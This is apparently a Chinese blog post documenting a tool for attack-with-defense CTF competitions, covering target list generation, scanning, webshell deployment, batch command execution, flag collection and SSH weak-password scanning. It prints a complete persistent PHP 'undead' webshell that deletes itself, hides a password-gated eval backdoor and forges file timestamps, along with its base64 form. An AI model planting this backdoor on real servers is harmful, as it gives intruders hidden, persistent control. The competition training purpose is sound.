awd工具开发&使用说明

文章演示版本:V3.0.1
最新版本:V3.0.1
最后更新日期:2024/10/01

目标生成

使用场景:在目标扫描前如果没有下发靶机地址列表,则需要自己生成一份去扫描

ip段生成

使用场景:裁判给了一个C段(192.168.10.0),所有队伍的靶机都在这个C段中,具体ip需要自己发现

输入192.168.10.*(用*占位)即可在程序当前运行目录下生成一个ip.txt

1
2
3
4
5
6
7
8
9
10
11
12
192.168.10.1:8080
192.168.10.2:8080
192.168.10.3:8080
192.168.10.4:8080
192.168.10.5:8080
...
...
192.168.10.251:8080
192.168.10.252:8080
192.168.10.253:8080
192.168.10.254:8080
192.168.10.255:8080

单ip多端口生成

使用场景:某些小型比赛或训练赛,为了节约资源将所有靶机映射在同一台服务器的不同端口上

然会会在程序运行目录下生成ip.txt

1
2
3
4
5
6
7
8
9
10
11
192.168.100.103:10000
192.168.100.103:10001
192.168.100.103:10002
192.168.100.103:10003
...
...
192.168.100.103:10297
192.168.100.103:10298
192.168.100.103:10299
192.168.100.103:10300

bugku专用

使用场景:针对线上的域名生成 例如 192-168-1-X.pvp3553.bugku.cn

按以下规则输入即可,{}中表示生成的范围,以-分割

1
2
192-168-1-{1-255}.pvp3553.bugku.cn
192-168-{1-2}-{1-255}.pvp3553.bugku.cn

在当前目录下生成ip.txt

1
2
3
4
5
6
7
8
9
10
192-168-1-1.pvp3553.bugku.cn
192-168-1-2.pvp3553.bugku.cn
192-168-1-3.pvp3553.bugku.cn
192-168-1-4.pvp3553.bugku.cn
...
...
192-168-1-252.pvp3553.bugku.cn
192-168-1-253.pvp3553.bugku.cn
192-168-1-254.pvp3553.bugku.cn
192-168-1-255.pvp3553.bugku.cn

目标扫描

使用场景:自己生成靶机地址或通过平台下载后,进行特征扫描来识别题目

web靶机扫描

先打开自己的web靶机,输入网页上可以看到的特征即可

pwn靶机扫描

pwn靶机也是同理,先连上自己的看看会输出什么就填什么

注意文件中的地址不能带上http,需要是ip:port格式

写入不死马

使用场景:发现题目的默认后门或者rce点后写入不死马

默认马

在可以rce的参数后加*,多个参数用&连接

可写路径:一般默认为空,当某些靶机的web根目录不可写时需要手动指定,例如指定写入到/var/www/html/xxx/(使用绝对路径)
代码执行:根据shell中的代码(例如eval或者system)来使用不同的payload
TP框架:适用于tp等框架的非常规web路径(/public)

Get传参后门:

Post传参后门:

同时会在当前目录下生成一个shell.txt来保存记录

自定义不死马

使用场景:想写入自己自定义的不死马

当勾选这个功能后,可以自定义不死马的内容

例如一个不死马如下,密码是123456,访问的文件名是.666.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.666.php';
$code = '<?php if(md5($_GET["pass"])=="e10adc3949ba59abbe56e057f20f883e"){@eval($_POST["aa"]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .666.php');
usleep(1);
}
?>

使用前需要base64编码一次(工具页中提供base64加解密功能)

1
PD9waHAKICAgIGlnbm9yZV91c2VyX2Fib3J0KHRydWUpOwogICAgc2V0X3RpbWVfbGltaXQoMCk7CiAgICB1bmxpbmsoX19GSUxFX18pOwogICAgJGZpbGUgPSAnLjY2Ni5waHAnOwogICAgJGNvZGUgPSAnPD9waHAgaWYobWQ1KCRfR0VUWyJwYXNzIl0pPT0iZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2UiKXtAZXZhbCgkX1BPU1RbImFhIl0pO30gPz4nOwogICAgd2hpbGUgKDEpewogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCRjb2RlKTsKICAgICAgICBzeXN0ZW0oJ3RvdWNoIC1tIC1kICIyMDE4LTEyLTAxIDA5OjEwOjEyIiAuNjY2LnBocCcpOwogICAgICAgIHVzbGVlcCgxKTsKICAgIH0KPz4=

随机文件名

使用场景:防止其他队伍监控流量进行蹭车

勾选后写入的shell的文件名,密码,连接参数随机产生

会在当前目录下生成random.txt来保存shell记录

执行命令

使用场景:通过不死马或者其他漏洞点进行命令执行

一般shell执行命令

通过随机马执行命令

获取flag

使用场景:批量获取窗口中的flag

需要先通过执行cat /flagcurl获取到flag

点击获取flag按钮后,程序会自动在返回的结果中搜索包含flag{}的值并保存到flag.txt

如果flag格式并不是flag{},则可以自定义匹配的正则表达式

提交flag

使用场景:批量获取到flag后自动访问提交接口进行提交flag

flag用*占位。多个参数用&分割。注意在设置页中设置线程数,太大容易丢包

Get方式:http://192.168.100.103:4444/api/flag?token=xxxx&flag=xxxx

Post方式:

ssh

使用场景:ssh弱口令

比如裁判下发的ssh地址为x.x.x.x:2222 密码:ctf@awd,就可以知道所有队伍都是这个密码。而且有些比赛不设置防御时间,一开始就能连到其他队伍的ssh(这里就不得不提到某年的宁波市awd)

ssh扫描

扫描结果会保存在ssh.txt

ssh密码更改

多人

使用场景:离线环境下 局域网中队友的信息传递

其中一人先当客户端(需要先在设置中设置好参数)

然后点击启动服务

其余队友当客户端(同样要先在设置中设置好参数)

点击连接服务即可

多人交互效果:

自定义

使用场景:批量发送一些请求,例如批量上传文件

定时任务

使用场景:解放双手,自动运行

在写入不死马,执行命令,提交flag三处可以选择定时执行任务,最短1分钟执行一次

使用方法与正常操作一样,填完参数后点击定时按钮并选择时间即可

如果想取消可以关闭程序或者在全局设置中点击 管理定时任务 按钮

运行结果会保存在log/task_log.txt

注意:此功能应谨慎使用,防止发送网络流量过大!!!注意观察 shell.txt 和 task_log.txt 的内容

工具&设置

使用场景:base64,url的编码与解码,行去重与清屏

支持拖放文件

全局设置中可以切换线程数量和超时时间,并且可以选择是否记录错误日志

更新日志

V1.0.0:初始版本
V1.1.0:添加多种扫描方式,代码逻辑优化
V1.2.0:添加随机不死马功能,修复诺干bug
V2.1.0:整体70%代码重构(扫描速度较上一代提升11倍)。新增ssh模块和设置模块
V2.1.1:优化不死马的判断逻辑
V2.2.0:新增局域网多人聊天模块
V2.2.1:修复了诺干bug
V2.2.2:更新ui,新增自定义请求包模块
V2.2.3:添加全局超时时间设置,优化写入不死马模块(区分代码执行和命令执行,适应tp框架路径)

V3.0.0:新增一机一码,添加记录错误日志功能,优化写入不死马/执行命令的逻辑
V3.0.1:部分代码结构优化,添加定时任务功能
V3.1.0:添加head执行命令功能,优化自定义模块(集成pwn批量攻击/识别flag),新增笔记模块(内测中)

同时感谢以下师傅对AWD_RAH提出的建议

@Datch (定时运行)
@liangmo (head头一句话)
@淡灬看夏丶恋雨(a13niL) (笔记功能)
@蓝猫少爷 (另一种提交flag的方式)


awd工具开发&使用说明
https://www.dr0n.top/posts/48fe3a65/
作者
dr0n
发布于
2023年12月7日
更新于
2024年11月5日
许可协议